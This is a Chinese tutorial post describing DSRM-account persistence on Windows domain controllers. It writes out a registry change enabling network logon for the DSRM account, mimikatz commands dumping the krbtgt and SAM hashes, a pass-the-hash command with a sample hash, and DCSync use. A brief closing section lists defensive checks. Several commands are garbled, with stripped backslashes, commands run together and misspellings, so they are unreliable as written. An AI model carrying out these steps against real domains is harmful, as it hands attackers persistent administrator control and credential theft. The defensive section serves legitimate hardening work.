0x01 前言

    DSRM (Directory Services Restore Mode, 目录服务恢复模式)是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是 DSRM 账户)。DSRM 的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置修改 DSRM 密码最基本的方法是在 DC 上运行 ntdsutil 命令行工具。

    在实战中,可以使用DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装 KB961320 才可以使用指定域账号的密码对 DSRM 的密码进行同步。在 Windows Server 2008 以后版本的系统中不需要安装此补丁。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接蜮控制器,进而控制域控制器。

0x02 利用前提

使用DSRM账户连接的前提

(1)系统要求:在安装了KB961320补丁的Windows Server 2008及之后的Windows Server版本开始支持在DC上使用指定的域帐户同步DSRM密码

(2)更改DSRM的密码方式:同步域用户的方式

(3)开启支持DSRM账户网络连接:需要修改注册表项,默认没有改项

 
注册表命令:reg add "HKLMSystemCurrentControlSetControlLsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2powershell命令:New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

(4)需要一个域账户的hash

(5)并且需要注意是否会同步域账户(同步dsrm账户后,后门即失效)

(6)域控重启后会失效

0x03 实操

获取Krbtgt的NTLM Hash

 
privilege::debuglsadump::lsa /patch /name:krbtgt

 

在域控中利用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

token::elevatelsadump::sam

获取DSRM账号的NTLM Hash

修改/同步DSRM密码

• NTDSUTIL:打开ntdsutil.set dsrm password:设置 DSRM 的密码。reset password on server null:在当前域控制器上恢复 DSRM 密码。• PASSWORD>:修改后的密码。•q(第1次):退出 DSRM 密码设置模式。•q(第2次):退出 ndsutilo

如果域控的系统版本为 Windows Server 2008(已安装 KB961320)及以上,可以将 DSRM密码同步为己存在的城账号密码。

•NTDSUTIL:打开 ntdsutilo• SET DSRM PASSWORD:设置 DSRM的密码• SYNC FROM DOMAIN ACCOUNT domainusemame:使 DSRM 的密码和指定域用户的密码同步•重置DSRM 管理员密码:q• ntdsutl:q

DSRM账号和krbtgt的NTLM Hash同步

查看DSRM的NTLM Hash是否同步成功

修改DSRM登录方式

 
0:默认值,只有当域控制器重启并进人DSRM 模式时,才可以使用 DSRM 管理员账号。1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM管理员账号登录域控制器。2:在任何情况下,都可以使用 DSRM管理员账号登录域控制器。

在实战中,需要注意在 Windows Server 2000 以后版本的操作系统中,对DSRM 使用控制台登录域控进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为2。我这里演示用PowerShell进行修改

 
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

使用DSRM账号访问域控

在域成员机器上就可以通过mimikatz,使用域控的本地Administrator账号哈希传递攻击域控了‍。

 
sekurlsa::pth /domain:OWA2010SP3 /user:administrator /ntlm:a3490225625b7bcb900495ca1d43913e

注意,在这里,/domain 选项不是填写域名!而是域控的机器名(OWA2010SP3)一定要注意!

下图是个错误的演示

利用DSRM账号访问域控,使用dcsync功能远程转储krbtgt的NTLM Hash

0x04 防御措施

 
定期检查注册表中用于控制 DSRM 登录方式的键值 HIKLMSystem CurrentContro Set Control Lsa DsrmAdminLogonBehavior,确认该键值为 1,或者删除该键值定期修改域中所有域控制器的 DSRM 账号。经常检查 DD 为 4794 的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794 日志中

发表回复

后才能评论